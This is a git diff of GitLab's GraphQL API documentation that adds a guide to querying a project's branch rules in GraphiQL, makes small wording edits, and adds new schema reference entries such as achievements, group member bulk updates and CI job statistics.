+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# List branch rules for a project **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106954) in GitLab 15.8.
+
+This guide demonstrates how to use [GraphiQL explorer](getting_started.md#graphiql)
+to query for branch rules in a given project.
+
+The [example query](#set-up-the-graphiql-explorer) looks for a project in a
+GitLab instance either by its full path for example `gitlab-org/gitlab-docs`.
+In the query we request all configured branch rules for a project.
+
+NOTE:
+You can run the same query directly via a HTTP endpoint, using `cURL`. For more
+information, see our guidance on getting started from the
+[command line](getting_started.md#command-line).
+
+## Set up the GraphiQL explorer
+
+This procedure presents a substantive example that you can copy and paste into your own
+instance of the [GraphiQL explorer](https://gitlab.com/-/graphql-explorer):
+
+1. Copy the following code excerpt:
+
+ ```graphql
+ query {
+ project(fullPath: "gitlab-org/gitlab-docs") {
+ branchRules {
+ nodes {
+ name
+ isDefault
+ isProtected
+ matchingBranchesCount
+ createdAt
+ updatedAt
+ branchProtection {
+ allowForcePush
+ codeOwnerApprovalRequired
+ mergeAccessLevels {
+ nodes {
+ accessLevel
+ accessLevelDescription
+ user {
+ name
+ }
+ group {
+ name
+ }
+ }
+ }
+ pushAccessLevels {
+ nodes {
+ accessLevel
+ accessLevelDescription
+ user {
+ name
+ }
+ group {
+ name
+ }
+ }
+ }
+ unprotectAccessLevels {
+ nodes {
+ accessLevel
+ accessLevelDescription
+ user {
+ name
+ }
+ group {
+ name
+ }
+ }
+ }
+ }
+ externalStatusChecks {
+ nodes {
+ id
+ name
+ externalUrl
+ }
+ }
+ approvalRules {
+ nodes {
+ id
+ name
+ type
+ approvalsRequired
+ eligibleApprovers {
+ nodes {
+ name
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ ```
+
+1. Open the [GraphiQL explorer tool](https://gitlab.com/-/graphql-explorer).
+1. Paste the `query` listed above into the left window of your GraphiQL explorer tool.
+1. Select **Play** to get this result:
+
+ ![GraphiQL explorer query for branch rules](img/list_branch_rules_query_example_v15_8.png)
+
+If no branch rules are displayed, it may be because:
+
+- No branch rules are configured.
+- Your role doesn't have permission to view branch rules. Administrators have access to all records.
+
+## Run the query in the GDK
+
+Instead of requesting access, it may be easier for you to run the query in the
+[GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit).
+
+1. Sign in as the default admin, `root`, with the credentials from
+ [the GDK documentation](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/gdk_commands.md#get-the-login-credentials).
+1. Ensure you have some branch rules configured for the `flightjs/Flight` project.
+1. Replace the full path in the query:
+
+ ```graphql
+ query {
+ project(fullPath: "flightjs/Flight") {
+ ```
+
+1. Visit the [GraphiQL explorer tool](http://gdk.test:3000/-/graphql-explorer) for your GDK instance.
+1. Paste the `query` listed above into the left window of your GraphiQL explorer tool.
+1. Select **Play** to view the result.
+
+For more information on each field, see the [GraphQL API Resources](reference/index.md).
diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md
index 1945f528d67..9f423d68d3b 100644
--- a/doc/api/graphql/getting_started.md
+++ b/doc/api/graphql/getting_started.md
@@ -110,7 +110,7 @@ which is an object identifier in the format of `"gid://gitlab/Issue/123"`.
[GitLab GraphQL Schema](reference/index.md) outlines which objects and fields are
available for clients to query and their corresponding data types.
-Example: Get only the names of all the projects the currently logged in user can
+Example: Get only the names of all the projects the currently authenticated user can
access (up to a limit) in the group `gitlab-org`.
```graphql
@@ -172,7 +172,7 @@ More about queries:
Authorization uses the same engine as the GitLab application (and GitLab.com).
If you've signed in to GitLab and use GraphiQL, all queries are performed as
-you, the signed in user. For more information, read the
+you, the authenticated user. For more information, read the
[GitLab API documentation](../index.md#authentication).
### Mutations
diff --git a/doc/api/graphql/img/list_branch_rules_query_example_v15_8.png b/doc/api/graphql/img/list_branch_rules_query_example_v15_8.png
new file mode 100644
index 00000000000..c407329c6bf
--- /dev/null
+++ b/doc/api/graphql/img/list_branch_rules_query_example_v15_8.png
Binary files differ
diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md
index 0ae6013df80..320e7cbcfc1 100644
--- a/doc/api/graphql/index.md
+++ b/doc/api/graphql/index.md
@@ -144,10 +144,10 @@ Query | Description
`group` | Basic group information and epics.
`user` | Information about a particular user.
`namespace` | The namespace and the `projects` in it.
-`currentUser` | Information about the signed-in user.
+`currentUser` | Information about the authenticated user.
`users` | Information about a collection of users.
`metaData` | Metadata about GitLab and the GraphQL API.
-`snippets` | Snippets visible to the signed-in user.
+`snippets` | Snippets visible to the authenticated user.
New associations and root level objects are regularly added.
See the [GraphQL API Reference](reference/index.md) for up-to-date information.
diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md
index a3d4458bb6c..4bd7702474f 100644
--- a/doc/api/graphql/reference/index.md
+++ b/doc/api/graphql/reference/index.md
@@ -216,7 +216,7 @@ Returns [`Issue`](#issue).
### `Query.issues`
-Issues visible by the current user. Returns null if the `root_level_issues_query` feature flag is disabled.
+Find issues visible to the current user. At least one filter must be provided. Returns `null` if the `root_level_issues_query` feature flag is disabled.
WARNING:
**Introduced** in 15.6.
@@ -505,6 +505,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="querytimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. |
| <a id="querytimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. |
| <a id="querytimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. |
+| <a id="querytimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. |
| <a id="querytimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. |
| <a id="querytimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. |
| <a id="querytimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. |
@@ -679,6 +680,29 @@ mutation($id: NoteableID!, $body: String!) {
}
```
+### `Mutation.achievementsCreate`
+
+Input type: `AchievementsCreateInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationachievementscreateavatar"></a>`avatar` | [`Upload`](#upload) | Avatar for the achievement. |
+| <a id="mutationachievementscreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationachievementscreatedescription"></a>`description` | [`String`](#string) | Description of or notes for the achievement. |
+| <a id="mutationachievementscreatename"></a>`name` | [`String!`](#string) | Name for the achievement. |
+| <a id="mutationachievementscreatenamespaceid"></a>`namespaceId` | [`NamespaceID!`](#namespaceid) | Namespace for the achievement. |
+| <a id="mutationachievementscreaterevokeable"></a>`revokeable` | [`Boolean!`](#boolean) | Revokeability for the achievement. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationachievementscreateachievement"></a>`achievement` | [`Achievement`](#achievement) | Achievement created. |
+| <a id="mutationachievementscreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationachievementscreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+
### `Mutation.addProjectToSecurityDashboard`
Input type: `AddProjectToSecurityDashboardInput`
@@ -1121,7 +1145,7 @@ Input type: `CiCdSettingsUpdateInput`
| <a id="mutationcicdsettingsupdatefullpath"></a>`fullPath` | [`ID!`](#id) | Full Path of the project the settings belong to. |
| <a id="mutationcicdsettingsupdateinboundjobtokenscopeenabled"></a>`inboundJobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in other projects have restricted access to this project. |
| <a id="mutationcicdsettingsupdatejobtokenscopeenabled"></a>`jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in this project have restricted access to other projects. |
-| <a id="mutationcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for this project. |
+| <a id="mutationcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for the project. |
| <a id="mutationcicdsettingsupdatemergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. |
| <a id="mutationcicdsettingsupdatemergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. |
@@ -1505,7 +1529,7 @@ Input type: `CreateClusterAgentInput`
| ---- | ---- | ----------- |
| <a id="mutationcreateclusteragentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationcreateclusteragentname"></a>`name` | [`String!`](#string) | Name of the cluster agent. |
-| <a id="mutationcreateclusteragentprojectpath"></a>`projectPath` | [`ID!`](#id) | Full path of the associated project for this cluster agent. |
+| <a id="mutationcreateclusteragentprojectpath"></a>`projectPath` | [`ID!`](#id) | Full path of the associated project for the cluster agent. |
#### Fields
@@ -1722,7 +1746,7 @@ Input type: `CreateNoteInput`
| <a id="mutationcreatenotebody"></a>`body` | [`String!`](#string) | Content of the note. |
| <a id="mutationcreatenoteclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationcreatenoteconfidential"></a>`confidential` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated:** This was renamed. Please use `internal`. Deprecated in 15.3. |
-| <a id="mutationcreatenotediscussionid"></a>`discussionId` | [`DiscussionID`](#discussionid) | Global ID of the discussion this note is in reply to. |
+| <a id="mutationcreatenotediscussionid"></a>`discussionId` | [`DiscussionID`](#discussionid) | Global ID of the discussion the note is in reply to. |
| <a id="mutationcreatenoteinternal"></a>`internal` | [`Boolean`](#boolean) | Internal flag for a note. Default is false. |
| <a id="mutationcreatenotemergerequestdiffheadsha"></a>`mergeRequestDiffHeadSha` | [`String`](#string) | SHA of the head commit which is used to ensure that the merge request has not been updated since the request was sent. |
| <a id="mutationcreatenotenoteableid"></a>`noteableId` | [`NoteableID!`](#noteableid) | Global ID of the resource to add a note to. |
@@ -2026,6 +2050,7 @@ Input type: `DastScannerProfileCreateInput`
| <a id="mutationdastscannerprofilecreatescantype"></a>`scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. |
| <a id="mutationdastscannerprofilecreateshowdebugmessages"></a>`showDebugMessages` | [`Boolean`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. |
| <a id="mutationdastscannerprofilecreatespidertimeout"></a>`spiderTimeout` | [`Int`](#int) | Maximum number of minutes allowed for the spider to traverse the site. |
+| <a id="mutationdastscannerprofilecreatetaglist"></a>`tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the scanner profile. |
| <a id="mutationdastscannerprofilecreatetargettimeout"></a>`targetTimeout` | [`Int`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. |
| <a id="mutationdastscannerprofilecreateuseajaxspider"></a>`useAjaxSpider` | [`Boolean`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. |
@@ -2072,6 +2097,7 @@ Input type: `DastScannerProfileUpdateInput`
| <a id="mutationdastscannerprofileupdatescantype"></a>`scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. |
| <a id="mutationdastscannerprofileupdateshowdebugmessages"></a>`showDebugMessages` | [`Boolean`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. |
| <a id="mutationdastscannerprofileupdatespidertimeout"></a>`spiderTimeout` | [`Int!`](#int) | Maximum number of minutes allowed for the spider to traverse the site. |
+| <a id="mutationdastscannerprofileupdatetaglist"></a>`tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the scanner profile. |
| <a id="mutationdastscannerprofileupdatetargettimeout"></a>`targetTimeout` | [`Int!`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. |
| <a id="mutationdastscannerprofileupdateuseajaxspider"></a>`useAjaxSpider` | [`Boolean`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. |
@@ -3006,6 +3032,28 @@ Input type: `GitlabSubscriptionActivateInput`
| <a id="mutationgitlabsubscriptionactivatefuturesubscriptions"></a>`futureSubscriptions` | [`[SubscriptionFutureEntry!]`](#subscriptionfutureentry) | Array of future subscriptions. |
| <a id="mutationgitlabsubscriptionactivatelicense"></a>`license` | [`CurrentLicense`](#currentlicense) | Current license. |
+### `Mutation.groupMemberBulkUpdate`
+
+Input type: `GroupMemberBulkUpdateInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationgroupmemberbulkupdateaccesslevel"></a>`accessLevel` | [`MemberAccessLevel!`](#memberaccesslevel) | Access level to update the members to. |
+| <a id="mutationgroupmemberbulkupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationgroupmemberbulkupdateexpiresat"></a>`expiresAt` | [`Time`](#time) | Date and time the membership expires. |
+| <a id="mutationgroupmemberbulkupdategroupid"></a>`groupId` | [`GroupID!`](#groupid) | Global ID of the group. |
+| <a id="mutationgroupmemberbulkupdateuserids"></a>`userIds` | [`[UserID!]!`](#userid) | Global IDs of the group members. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationgroupmemberbulkupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationgroupmemberbulkupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| <a id="mutationgroupmemberbulkupdategroupmembers"></a>`groupMembers` | [`[GroupMember!]`](#groupmember) | Group members after mutation. |
+
### `Mutation.groupUpdate`
Input type: `GroupUpdateInput`
@@ -3703,6 +3751,7 @@ Input type: `JobPlayInput`
| ---- | ---- | ----------- |
| <a id="mutationjobplayclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationjobplayid"></a>`id` | [`CiBuildID!`](#cibuildid) | ID of the job to mutate. |
+| <a id="mutationjobplayvariables"></a>`variables` | [`[CiVariableInput!]`](#civariableinput) | Variables to use when playing a manual job. |
#### Fields
@@ -3809,11 +3858,11 @@ Input type: `MergeRequestAcceptInput`
| <a id="mutationmergerequestacceptcommitmessage"></a>`commitMessage` | [`String`](#string) | Custom merge commit message. |
| <a id="mutationmergerequestacceptiid"></a>`iid` | [`String!`](#string) | IID of the merge request to mutate. |
| <a id="mutationmergerequestacceptprojectpath"></a>`projectPath` | [`ID!`](#id) | Project the merge request to mutate is in. |
-| <a id="mutationmergerequestacceptsha"></a>`sha` | [`String!`](#string) | HEAD SHA at the time when this merge was requested. |
+| <a id="mutationmergerequestacceptsha"></a>`sha` | [`String!`](#string) | HEAD SHA at the time when the merge was requested. |
| <a id="mutationmergerequestacceptshouldremovesourcebranch"></a>`shouldRemoveSourceBranch` | [`Boolean`](#boolean) | Should the source branch be removed. |
| <a id="mutationmergerequestacceptsquash"></a>`squash` | [`Boolean`](#boolean) | Squash commits on the source branch before merge. |
| <a id="mutationmergerequestacceptsquashcommitmessage"></a>`squashCommitMessage` | [`String`](#string) | Custom squash commit message (if squash is true). |
-| <a id="mutationmergerequestacceptstrategy"></a>`strategy` | [`MergeStrategyEnum`](#mergestrategyenum) | How to merge this merge request. |
+| <a id="mutationmergerequestacceptstrategy"></a>`strategy` | [`MergeStrategyEnum`](#mergestrategyenum) | How to merge the merge request. |
#### Fields
@@ -4406,7 +4455,7 @@ Input type: `ProjectCiCdSettingsUpdateInput`
| <a id="mutationprojectcicdsettingsupdatefullpath"></a>`fullPath` | [`ID!`](#id) | Full Path of the project the settings belong to. |
| <a id="mutationprojectcicdsettingsupdateinboundjobtokenscopeenabled"></a>`inboundJobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in other projects have restricted access to this project. |
| <a id="mutationprojectcicdsettingsupdatejobtokenscopeenabled"></a>`jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in this project have restricted access to other projects. |
-| <a id="mutationprojectcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for this project. |
+| <a id="mutationprojectcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for the project. |
| <a id="mutationprojectcicdsettingsupdatemergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. |
| <a id="mutationprojectcicdsettingsupdatemergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. |
@@ -5400,7 +5449,7 @@ Input type: `UpdateBoardListInput`
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="mutationupdateboardlistclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationupdateboardlistcollapsed"></a>`collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for this user. |
+| <a id="mutationupdateboardlistcollapsed"></a>`collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for the user. |
| <a id="mutationupdateboardlistlistid"></a>`listId` | [`ListID!`](#listid) | Global ID of the list. |
| <a id="mutationupdateboardlistposition"></a>`position` | [`Int`](#int) | Position of list within the board. |
@@ -5542,7 +5591,7 @@ Input type: `UpdateEpicBoardListInput`
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="mutationupdateepicboardlistclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationupdateepicboardlistcollapsed"></a>`collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for this user. |
+| <a id="mutationupdateepicboardlistcollapsed"></a>`collapsed` | [`Boolean`](#boolean) | Indicates if the list is collapsed for the user. |
| <a id="mutationupdateepicboardlistlistid"></a>`listId` | [`BoardsEpicListID!`](#boardsepiclistid) | Global ID of the epic list. |
| <a id="mutationupdateepicboardlistposition"></a>`position` | [`Int`](#int) | Position of list within the board. |
@@ -5723,11 +5772,12 @@ Input type: `UpdateRequirementInput`
| ---- | ---- | ----------- |
| <a id="mutationupdaterequirementclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationupdaterequirementdescription"></a>`description` | [`String`](#string) | Description of the requirement. |
-| <a id="mutationupdaterequirementiid"></a>`iid` | [`String!`](#string) | IID of the requirement to update. |
+| <a id="mutationupdaterequirementiid"></a>`iid` **{warning-solid}** | [`String`](#string) | **Deprecated:** Use work_item_iid instead. Deprecated in 15.8. |
| <a id="mutationupdaterequirementlasttestreportstate"></a>`lastTestReportState` | [`TestReportState`](#testreportstate) | Creates a test report for the requirement with the given state. |
| <a id="mutationupdaterequirementprojectpath"></a>`projectPath` | [`ID!`](#id) | Full project path the requirement is associated with. |
| <a id="mutationupdaterequirementstate"></a>`state` | [`RequirementState`](#requirementstate) | State of the requirement. |
| <a id="mutationupdaterequirementtitle"></a>`title` | [`String`](#string) | Title of the requirement. |
+| <a id="mutationupdaterequirementworkitemiid"></a>`workItemIid` | [`String`](#string) | IID of the requirement work item to update. |
#### Fields
@@ -6213,6 +6263,29 @@ Some of the types in the schema exist solely to model connections. Each connecti
has a distinct, named type, with a distinct named edge type. These are listed separately
below.
+#### `AchievementConnection`
+
+The connection type for [`Achievement`](#achievement).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="achievementconnectionedges"></a>`edges` | [`[AchievementEdge]`](#achievementedge) | A list of edges. |
+| <a id="achievementconnectionnodes"></a>`nodes` | [`[Achievement]`](#achievement) | A list of nodes. |
+| <a id="achievementconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `AchievementEdge`
+
+The edge type for [`Achievement`](#achievement).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="achievementedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="achievementedgenode"></a>`node` | [`Achievement`](#achievement) | The item at the end of the edge. |
+
#### `AgentConfigurationConnection`
The connection type for [`AgentConfiguration`](#agentconfiguration).
@@ -6838,6 +6911,7 @@ The connection type for [`CiRunner`](#cirunner).
| ---- | ---- | ----------- |
| <a id="cirunnerconnectioncount"></a>`count` | [`Int!`](#int) | Total count of collection. |
| <a id="cirunnerconnectionedges"></a>`edges` | [`[CiRunnerEdge]`](#cirunneredge) | A list of edges. |
+| <a id="cirunnerconnectionjobsstatistics"></a>`jobsStatistics` | [`CiJobsStatistics`](#cijobsstatistics) | Jobs statistics for jobs executed by a collection of runners. Available only to admins. |
| <a id="cirunnerconnectionnodes"></a>`nodes` | [`[CiRunner]`](#cirunner) | A list of nodes. |
| <a id="cirunnerconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
@@ -7641,6 +7715,29 @@ The edge type for [`Discussion`](#discussion).
| <a id="discussionedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="discussionedgenode"></a>`node` | [`Discussion`](#discussion) | The item at the end of the edge. |
+#### `EmailConnection`
+
+The connection type for [`Email`](#email).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="emailconnectionedges"></a>`edges` | [`[EmailEdge]`](#emailedge) | A list of edges. |
+| <a id="emailconnectionnodes"></a>`nodes` | [`[Email]`](#email) | A list of nodes. |
+| <a id="emailconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `EmailEdge`
+
+The edge type for [`Email`](#email).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="emailedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="emailedgenode"></a>`node` | [`Email`](#email) | The item at the end of the edge. |
+
#### `EnvironmentConnection`
The connection type for [`Environment`](#environment).
@@ -8454,6 +8551,29 @@ The edge type for [`Milestone`](#milestone).
| <a id="milestoneedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
| <a id="milestoneedgenode"></a>`node` | [`Milestone`](#milestone) | The item at the end of the edge. |
+#### `NamespaceCommitEmailConnection`
+
+The connection type for [`NamespaceCommitEmail`](#namespacecommitemail).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="namespacecommitemailconnectionedges"></a>`edges` | [`[NamespaceCommitEmailEdge]`](#namespacecommitemailedge) | A list of edges. |
+| <a id="namespacecommitemailconnectionnodes"></a>`nodes` | [`[NamespaceCommitEmail]`](#namespacecommitemail) | A list of nodes. |
+| <a id="namespacecommitemailconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+#### `NamespaceCommitEmailEdge`
+
+The edge type for [`NamespaceCommitEmail`](#namespacecommitemail).
+
+##### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="namespacecommitemailedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| <a id="namespacecommitemailedgenode"></a>`node` | [`NamespaceCommitEmail`](#namespacecommitemail) | The item at the end of the edge. |
+
#### `NamespaceConnection`
The connection type for [`Namespace`](#namespace).
@@ -9783,9 +9903,11 @@ The connection type for [`Timelog`](#timelog).
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="timelogconnectioncount"></a>`count` | [`Int!`](#int) | Total count of collection. |
| <a id="timelogconnectionedges"></a>`edges` | [`[TimelogEdge]`](#timelogedge) | A list of edges. |
| <a id="timelogconnectionnodes"></a>`nodes` | [`[Timelog]`](#timelog) | A list of nodes. |
| <a id="timelogconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+| <a id="timelogconnectiontotalspenttime"></a>`totalSpentTime` | [`Int!`](#int) | Total time spent in seconds. |
#### `TimelogEdge`
@@ -10243,6 +10365,21 @@ Representation of a GitLab user.
| <a id="accessleveluserwebpath"></a>`webPath` | [`String!`](#string) | Web path of the user. |
| <a id="accessleveluserweburl"></a>`webUrl` | [`String!`](#string) | Web URL of the user. |
+### `Achievement`
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="achievementavatarurl"></a>`avatarUrl` | [`String`](#string) | URL to avatar of the achievement. |
+| <a id="achievementcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp the achievement was created. |
+| <a id="achievementdescription"></a>`description` | [`String`](#string) | Description or notes for the achievement. |
+| <a id="achievementid"></a>`id` | [`AchievementsAchievementID!`](#achievementsachievementid) | ID of the achievement. |
+| <a id="achievementname"></a>`name` | [`String!`](#string) | Name of the achievement. |
+| <a id="achievementnamespace"></a>`namespace` | [`Namespace!`](#namespace) | Namespace of the achievement. |
+| <a id="achievementrevokeable"></a>`revokeable` | [`Boolean!`](#boolean) | Revokeability of the achievement. |
+| <a id="achievementupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp the achievement was last updated. |
+
### `AgentConfiguration`
Configuration details for an Agent.
@@ -10275,6 +10412,7 @@ Describes an alert from the project's Alert Management.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="alertmanagementalertassignees"></a>`assignees` | [`UserCoreConnection`](#usercoreconnection) | Assignees of the alert. (see [Connections](#connections)) |
+| <a id="alertmanagementalertcommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="alertmanagementalertcreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp the alert was created. |
| <a id="alertmanagementalertdescription"></a>`description` | [`String`](#string) | Description of the alert. |
| <a id="alertmanagementalertdetails"></a>`details` | [`JSON`](#json) | Alert details. |
@@ -10614,6 +10752,7 @@ Represents an epic on an issue board.
| <a id="boardepicblockingcount"></a>`blockingCount` | [`Int`](#int) | Count of epics that this epic is blocking. |
| <a id="boardepicclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the epic was closed. |
| <a id="boardepiccolor"></a>`color` | [`String`](#string) | Color of the epic. Returns `null` if `epic_color_highlight` feature flag is disabled. |
+| <a id="boardepiccommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="boardepicconfidential"></a>`confidential` | [`Boolean`](#boolean) | Indicates if the epic is confidential. |
| <a id="boardepiccreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp of when the epic was created. |
| <a id="boardepicdefaultprojectforissuecreation"></a>`defaultProjectForIssueCreation` | [`Project`](#project) | Default Project for issue creation. Based on the project the user created the last issue in. |
@@ -10851,10 +10990,11 @@ List of branch rules for a project, grouped by branch name.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="branchruleapprovalrules"></a>`approvalRules` | [`ApprovalProjectRuleConnection`](#approvalprojectruleconnection) | Merge request approval rules configured for this branch rule. (see [Connections](#connections)) |
-| <a id="branchrulebranchprotection"></a>`branchProtection` | [`BranchProtection!`](#branchprotection) | Branch protections configured for this branch rule. |
+| <a id="branchrulebranchprotection"></a>`branchProtection` | [`BranchProtection`](#branchprotection) | Branch protections configured for this branch rule. |
| <a id="branchrulecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the branch rule was created. |
| <a id="branchruleexternalstatuschecks"></a>`externalStatusChecks` | [`ExternalStatusCheckConnection`](#externalstatuscheckconnection) | External status checks configured for this branch rule. (see [Connections](#connections)) |
| <a id="branchruleisdefault"></a>`isDefault` | [`Boolean!`](#boolean) | Check if this branch rule protects the project's default branch. |
+| <a id="branchruleisprotected"></a>`isProtected` | [`Boolean!`](#boolean) | Check if this branch rule protects access for the branch. |
| <a id="branchrulematchingbranchescount"></a>`matchingBranchesCount` | [`Int!`](#int) | Number of existing branches that match this branch rule. |
| <a id="branchrulename"></a>`name` | [`String!`](#string) | Branch name, with wildcards, for the branch rules. |
| <a id="branchruleupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the branch rule was last updated. |
@@ -11113,6 +11253,30 @@ CI/CD variables for a GitLab instance.
| ---- | ---- | ----------- |
| <a id="cijobtokenscopetypeprojects"></a>`projects` | [`ProjectConnection!`](#projectconnection) | Allow list of projects that can be accessed by CI Job tokens created by this project. (see [Connections](#connections)) |
+### `CiJobsDurationStatistics`
+
+Representation of duration statistics for a group of CI jobs.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="cijobsdurationstatisticsp50"></a>`p50` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 50th percentile. 50% of the durations are lower than this value. |
+| <a id="cijobsdurationstatisticsp75"></a>`p75` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 75th percentile. 75% of the durations are lower than this value. |
